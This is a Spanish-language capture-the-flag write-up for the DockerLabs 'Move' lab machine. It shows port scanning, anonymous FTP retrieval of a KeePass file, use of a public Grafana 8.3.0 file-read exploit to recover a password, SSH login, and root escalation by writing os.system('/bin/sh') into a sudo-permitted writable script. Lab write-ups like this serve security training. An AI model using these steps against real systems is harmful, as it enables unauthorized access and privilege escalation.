> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/move.md).

# Move

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Move** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Extraemos el contenido del archivo comprimido con `7z`:

```bash
7z x move.zip
```

<figure><img src="/files/kBFx56Hb2SWSgN6GivEb" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script `auto_deploy.sh`, que despliega automáticamente la máquina vulnerable en Docker:

```bash
bash auto_deploy.sh move.tar
```

<figure><img src="/files/zjb2NNJv5iC7zITNMElM" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Verificamos que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/Lyac2mbUW9qvzCgOGM9O" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 21:** `FTP`.
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
* **Puerto 3000:** `PPP`.

<figure><img src="/files/NuK14GmlxO4QVeSlFbbw" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p21,22,80,3000 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 21 (FTP):** vsftpd versión 3.0.3 con acceso anónimo habilitado y un directorio existente llamado `mantenimiento`.
* **Puerto 22 (SSH):** OpenSSH versión 9.6p1.
* **Puerto 80 (HTTP):** Apache 2.4.58 con la página por defecto de Apache2.
* **Puerto 3000 (Grafana):** Versión v8.3.0.

<figure><img src="/files/IaIVSEyzqSYy5hwViMms" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Servicio FTP:**

Nos conectamos al servicio FTP como el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

Accedemos al directorio `mantenimiento`:

```bash
cd mantenimiento
```

Dentro de este directorio podemos ver un archivo llamado `database.kdbx`, el cual vamos a descargar en nuestro equipo local utilizando el siguiente comando:

```bash
get database.kdbx
```

<figure><img src="/files/87uyWzw7O12DJNRWi1M4" alt=""><figcaption></figcaption></figure>

**2. Servicio HTTP:**

Accedemos al servicio HTTP a través del navegador, introduciendo la dirección `http://172.17.0.2`. Lo que encontramos es la página por defecto de Apache2, pero no encontramos nada de información útil.

<figure><img src="/files/6T8nWbCvPPti2Wzez0XV" alt=""><figcaption></figcaption></figure>

**3. Fuerza Bruta en el Servicio HTTP:**

Utilizamos `gobuster` para descubrir directorios y archivos ocultos:

```bash
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
```

<figure><img src="/files/QjNrzrIdJChKxIXpzV02" alt=""><figcaption></figcaption></figure>

Encontramos la ruta `/maintenance.html`, donde aparece el siguiente mensaje:

```html
Website under maintenance, access is in /tmp/pass.txt
```

<figure><img src="/files/Tpx9awF30OG7tu3ZjYBR" alt=""><figcaption></figcaption></figure>

**4. Explotación de Grafana:**

Si accedemos al puerto 3000 (`http://172.17.0.2:3000`), nos encontramos con un panel de inicio de sesión de Grafana que corresponde a la versión v8.3.0, la cual puede observarse en la parte inferior de la pantalla.

<figure><img src="/files/W9HpboJZ9FgpA3Ppv0eh" alt=""><figcaption></figcaption></figure>

Tras detectar que el puerto 3000 aloja una instancia de Grafana v8.3.0, buscamos vulnerabilidades conocidas con `searchsploit` que afecten a esta versión ejecutando el siguiente comando:

```bash
searchsploit Grafana 8.3.0
```

<figure><img src="/files/Gr8s9F3h1izFVCLwVXMS" alt=""><figcaption></figcaption></figure>

Identificamos un exploit público relacionado con **Directory Traversal and Arbitrary File Read**.

Para descargarlo directamente a nuestro equipo local, tenemos que utilizar el siguiente comando:

```bash
searchsploit -m multiple/webapps/50581.py
```

<figure><img src="/files/7tlTqa5JGqW2s7yKvC8o" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit contra la máquina:

```bash
python3 50581.py -H http://172.17.0.2:3000
```

Accedemos al archivo que hemos encontrado anteriormente en `http://172.17.0.2/maintenance.html`:

```bash
/tmp/pass.txt
```

Obtenemos una contraseña: `t9sH76gpQ82UFeZ3GXZS`.

<figure><img src="/files/mMKPw1IhmUqvad7wgcmM" alt=""><figcaption></figcaption></figure>

**5. Acceso a KeePassXC:**

Utilizamos la contraseña obtenida anteriormente para abrir el archivo `database.kdbx` y extraer las credenciales almacenadas en dicho archivo:

```
Usuario: freddy
Contraseña: t9sH76gpQ82UFeZ3GXZS
```

<figure><img src="/files/wZ233OiFMIHqo8C2JrsS" alt=""><figcaption></figcaption></figure>

**6. Acceso por SSH:**

Accedemos a la máquina como el usuario `freddy`:

```bash
ssh freddy@172.17.0.2
```

<figure><img src="/files/Nz5yodVuCvCXQCwlNtUd" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

Una vez dentro de la máquina como el usuario `freddy`, ejecutamos:

```bash
sudo -l
```

El resultado nos indica que podemos ejecutar con **python3** el script almacenado en `/opt/maintenance.py` como **root** sin necesidad de proporcionar contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/maintenance.py
```

<figure><img src="/files/RBFgJtNfhZelxm61A1q9" alt=""><figcaption></figcaption></figure>

Revisamos el contenido del script:

```bash
cat /opt/maintenance.py
```

Y observamos que únicamente contiene:

```python
print("Server under beta testing")
```

<figure><img src="/files/1DGIRHa6VJYZ7MQKe1vw" alt=""><figcaption></figcaption></figure>

Consultamos los permisos de dicho archivo con el siguiente comando:

```bash
ls -l /opt/maintenance.py
```

El archivo es escribible por el usuario `freddy`, lo cual representa una oportunidad clara para introducir un código malicioso y escalar privilegios.

<figure><img src="/files/ypMNShdR37p0PpCxECM2" alt=""><figcaption></figcaption></figure>

Aprovechamos esta configuración para modificar el script e introducir una instrucción que nos proporcione una shell como `root`:

```python
import os
os.system("/bin/sh")
```

<figure><img src="/files/aQfongU3DWhIzqtk2PSa" alt=""><figcaption></figcaption></figure>

Una vez editado el script `/opt/maintenance.py`, tenemos que ejecutarlo como `root` con el siguiente comando:

```bash
sudo -u root /usr/bin/python3 /opt/maintenance.py
```

¡Con esto, accedemos a una shell con privilegios de `root`, completando la explotación de la máquina!

<figure><img src="/files/qfm5NIOiSF4Qx1gl7xgT" alt=""><figcaption></figcaption></figure>
